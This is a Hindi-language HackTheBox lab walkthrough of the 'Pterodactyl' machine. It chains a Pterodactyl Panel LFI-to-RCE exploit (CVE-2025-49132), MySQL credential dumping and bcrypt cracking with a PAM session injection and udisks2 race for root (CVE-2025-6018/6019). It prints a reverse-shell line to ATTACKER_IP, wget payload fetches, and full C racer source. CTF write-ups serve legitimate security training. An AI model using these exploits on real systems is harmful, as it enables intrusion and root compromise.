
HTB Season 10 - Pterodactyl मशीन लिखापढ़ी. मध्यम लिनक्स बॉक्स जो CVE-2025-49132 (Pterodactyl Panel RCE) और CVE-2025-6018/6019 (udisks2 विशेषाधिकार वृद्धि) को कवर करता है।
कठिनाई: मध्यम | OS: Linux (openSUSE Leap 15.6) | सीजन: 10
Pterodactyl एक मध्यम-कठिनाई वाली लिनक्स मशीन है जो Pterodactyl गेम सर्वर पैनल चलाती है। हमले की श्रृंखला में पैनल में एक अप्रमाणित LFI-से-RCE भेद्यता, MySQL के माध्यम से क्रेडेंशियल निष्कर्षण, SSH पहुंच के लिए bcrypt हैश क्रैकिंग, और PAM सत्र इंजेक्शन और udisks2 XFS रीसाइज़ रेस कंडीशन का दुरुपयोग करने वाली दो-CVE विशेषाधिकार वृद्धि श्रृंखला शामिल है।
फ्लैग:
************************nmap -sSCV -A --min-rate 4000 10.129.44.184
खुले पोर्ट:
| पोर्ट | सेवा | संस्करण |
|---|---|---|
| 22 | SSH | OpenSSH 9.6p1 |
| 80 | HTTP | nginx/1.21.5 → pterodactyl.htb |
echo "10.129.44.184 pterodactyl.htb panel.pterodactyl.htb play.pterodactyl.htb" | sudo tee -a /etc/hosts
dirsearch -u http://pterodactyl.htb/ -t 40
curl -s http://pterodactyl.htb/changelog.txt
changelog से मुख्य निष्कर्ष:
panel.pterodactyl.htbcurl -s "http://pterodactyl.htb/phpinfo.php" | grep -E "register_argc|include_path|open_basedir|upload_tmp_dir"
| सेटिंग |
|---|
CVE-2025-49132 Pterodactyl Panel ≤ v1.11.10 को प्रभावित करता है। /locales/locale.json एंडपॉइंट locale और namespace पैरामीटर को बिना सैनिटाइजेशन या प्रमाणीकरण के सीधे PHP के include() में पास करता है, जिससे डायरेक्टरी ट्रैवर्सल और pearcmd-आधारित RCE सक्षम होता है।
git clone https://github.com/YoyoChaud/CVE-2025-49132
cd CVE-2025-49132
# कॉन्फिग डंप करें (DB क्रेडेंशियल + APP_KEY)
python3 exploit.py http://panel.pterodactyl.htb
# RCE परीक्षण करें
python3 exploit.py http://panel.pterodactyl.htb \
--rce-cmd "id" \
--pear-dir /usr/share/php/PEAR
आउटपुट: uid=474(wwwrun) gid=477(www) groups=477(www)
| सेवा | उपयोगकर्ता नाम | पासवर्ड |
|---|---|---|
| MySQL | pterodactyl | PteraPanel |
| Laravel | APP_KEY | base64:UaThTPQnUjrrK61o+... |
# लिसनर
nc -lnvp 4444
# एक्सप्लॉइट
python3 exploit.py http://panel.pterodactyl.htb \
--rce-cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
--pear-dir /usr/share/php/PEAR
mysql -u pterodactyl -pPteraPanel -h 127.0.0.1 \
-e "USE panel; SELECT username,email,password FROM users;"
| उपयोगकर्ता नाम | हैश |
|---|---|
headmonitor | $2y$10$3WJht3/5GOQmOXdljPbAJet... |
phileasfogg3 | $2y$10$PwO0TBZA8hLB6nuSsxRqoO... |
cat /home/phileasfogg3/user.txt
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt -w 3
परिणाम: phileasfogg3 : !QAZ2wsx
ssh [email protected]
# पासवर्ड: !QAZ2wsx
sudo -l
(ALL) ALL कॉन्फ़िगर है लेकिन targetpw डिफॉल्ट्स विकल्प को रूट के पासवर्ड की आवश्यकता है — मानक sudo दुरुपयोग को अवरुद्ध करना।
CVE-2025-6018 openSUSE पर pam_env.so का दुरुपयोग करके लॉगिन समय पर एनवायरनमेंट वेरिएबल्स इंजेक्ट करता है। ~/.pam_environment में XDG_SEAT=seat0 और XDG_VTNR=1 रखकर, एक दूरस्थ SSH उपयोगकर्ता Polkit को अपने सत्र को एक सक्रिय स्थानीय कंसोल सत्र (allow_active) के रूप में मानने के लिए धोखा दे सकता है, जो हार्डवेयर प्रबंधन D-Bus क्रियाओं को अनलॉक करता है।
echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment
# बाहर निकलें और वापस SSH लॉगिन करें (PAM नए लॉगिन पर फिर से पढ़ता है)
exit
ssh [email protected]
# सत्यापित करें
echo $XDG_SEAT # seat0
echo $XDG_VTNR # 1
CVE-2025-6019 libblockdev में एक लापता nosuid फ्लैग का शोषण करता है जब udisks2 एक D-Bus Filesystem.Resize कॉल के दौरान अस्थायी रूप से XFS इमेज को माउंट करता है। इस विंडो के दौरान इमेज के अंदर SUID बाइनरी को निष्पादित करने के लिए रेस करके, allow_active Polkit अधिकारों वाला एक अविशेषाधिकार प्राप्त उपयोगकर्ता रूट शेल प्राप्त कर सकता है।
# संगतता के लिए लक्ष्य के mkfs.xfs का उपयोग करके XFS इमेज बनाएं
scp phileasfogg3@TARGET:/sbin/mkfs.xfs /tmp/target_mkfs_xfs
# इसके बजाय सीधे लक्ष्य पर बनाएं
ssh phileasfogg3@TARGET
dd if=/dev/zero of=/tmp/xfs_new.img bs=1M count=300
/sbin/mkfs.xfs -f /tmp/xfs_new.img
हमलावर पर स्थानांतरण, SUID बाइनरी डालें, वापस स्थानांतरण:
# हमलावर पर (रूट के रूप में)
scp phileasfogg3@TARGET:/tmp/xfs_new.img /tmp/xfs_new.img
mount -o loop,suid /tmp/xfs_new.img /tmp/mnt
cp rootbash /tmp/mnt/xpl
chmod 4755 /tmp/mnt/xpl # -rwsr-xr-x दिखना चाहिए
umount /tmp/mnt
gzip -c /tmp/xfs_new.img > xfs_new.img.gz
// racer.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <unistd.h>
#include <sys/stat.h>
int main() {
char path[512], cmd[512];
struct stat st;
while(1) {
DIR *d = opendir("/tmp");
struct dirent *e;
while((e = readdir(d))) {
if(strncmp(e->d_name, "blockdev.", 9) == 0) {
snprintf(path, sizeof(path), "/tmp/%s/xpl", e->d_name);
if(stat(path, &st) == 0 && (st.st_mode & S_ISUID)) {
closedir(d);
snprintf(cmd, sizeof(cmd),
"%s -p -c 'cp /bin/bash /tmp/b; chmod 4755 /tmp/b'", path);
system(cmd);
return 0;
}
}
}
closedir(d);
}
}
gcc -O2 -o racer racer.c
# लक्ष्य पर
wget http://ATTACKER_IP/xfs_new.img.gz && gunzip xfs_new.img.gz
wget http://ATTACKER_IP/racer && chmod +x racer
udisksctl loop-setup -f /tmp/xfs_new.img --no-user-interaction
# लूप डिवाइस नंबर नोट करें (जैसे loop7)
rm -rf /tmp/blockdev.* 2>/dev/null
/tmp/racer &
for i in $(seq 1 300); do
gdbus call --system \
--dest org.freedesktop.UDisks2 \
--object-path /org/freedesktop/UDisks2/block_devices/loop7 \
--method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}' 2>/dev/null &
done
wait
परिणाम: रूट शेल प्राप्त हुआ।
id
# uid=0(root)
cat /root/root.txt
[Nmap] पोर्ट 22, 80
↓
[वेब एनुम] changelog.txt → Pterodactyl Panel v1.11.10
↓
[phpinfo.php] register_argc_argv=चालू, include_path में PEAR
↓
[CVE-2025-49132] अप्रमाणित LFI → pearcmd RCE → wwwrun शेल
↓
[MySQL] pterodactyl:PteraPanel → bcrypt हैश
↓
[Hashcat] phileasfogg3:!QAZ2wsx
↓
[SSH] phileasfogg3
↓
[CVE-2025-6018] ~/.pam_environment → allow_active बाईपास
↓
[CVE-2025-6019] udisks2 XFS रीसाइज़ रेस → SUID निष्पादन → रूट
| सेवा | उपयोगकर्ता नाम | पासवर्ड |
|---|---|---|
| MySQL | pterodactyl | PteraPanel |
| SSH / पैनल | phileasfogg3 | !QAZ2wsx |
लेखक: [kareem elsheikh] | HackTheBox सीजन 10
| मान |
|---|
| महत्व |
|---|
register_argc_argv | चालू | pearcmd CLI शोषण सक्षम करता है |
include_path | .:/usr/share/php8:/usr/share/php/PEAR | pearcmd.php तक पहुंच संभव |
open_basedir | (कोई मान नहीं) | अप्रतिबंधित फ़ाइलसिस्टम एक्सेस |
| उपकरण | उद्देश्य |
|---|
| nmap | पोर्ट स्कैनिंग |
| dirsearch | वेब डायरेक्टरी ब्रूट फोर्स |
| CVE-2025-49132 एक्सप्लॉइट | अप्रमाणित LFI + pearcmd RCE |
| hashcat (-m 3200) | Bcrypt क्रैकिंग |
| CVE-2025-6018-6019 PoC | PAM बाईपास + udisks2 रेस |
| कस्टम C रेसर | nosuid रेस कंडीशन जीतना |